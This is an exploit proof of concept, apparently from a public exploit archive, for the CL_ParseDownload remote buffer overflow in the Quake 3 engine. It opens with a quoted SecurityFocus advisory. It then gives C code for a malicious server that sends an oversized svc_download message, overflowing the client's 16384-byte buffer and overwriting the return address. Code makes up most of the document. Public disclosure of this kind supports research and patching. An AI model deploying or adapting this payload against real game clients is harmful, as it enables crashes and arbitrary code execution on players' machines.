Quake 3 Engine - 'CL_ParseDownload' Remote Buffer Overflow

// source: https://www.securityfocus.com/bid/18271/info
//
// The Quake 3 engine is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
//
// Remote attackers may exploit this issue to execute arbitrary machine code in the context of affected game clients. Failed exploit attempts will likely crash affected clients.
//
// Quake 3 version 1.32c and Icculus.org Quake 3 revision 795 are vulnerable to this issue; other versions may also be affected. The affected game engine has been used to create many derivative games, which may also be affected.
//

// send the gamestate
int i;
MSG_WriteByte( &msg, svc_download );
MSG_WriteShort( &msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
for(i = 0; i < 16384; i++) { // overwrite the data buffer
MSG_WriteByte(&msg, 0x00); // 0x00 for saving space
}
for(i = 0; i < 32; i++) { // do the rest of the job
MSG_WriteByte(&msg, 'a'); // return address: 0x61616161
}
SV_SendMessageToClient( &msg, client );
return;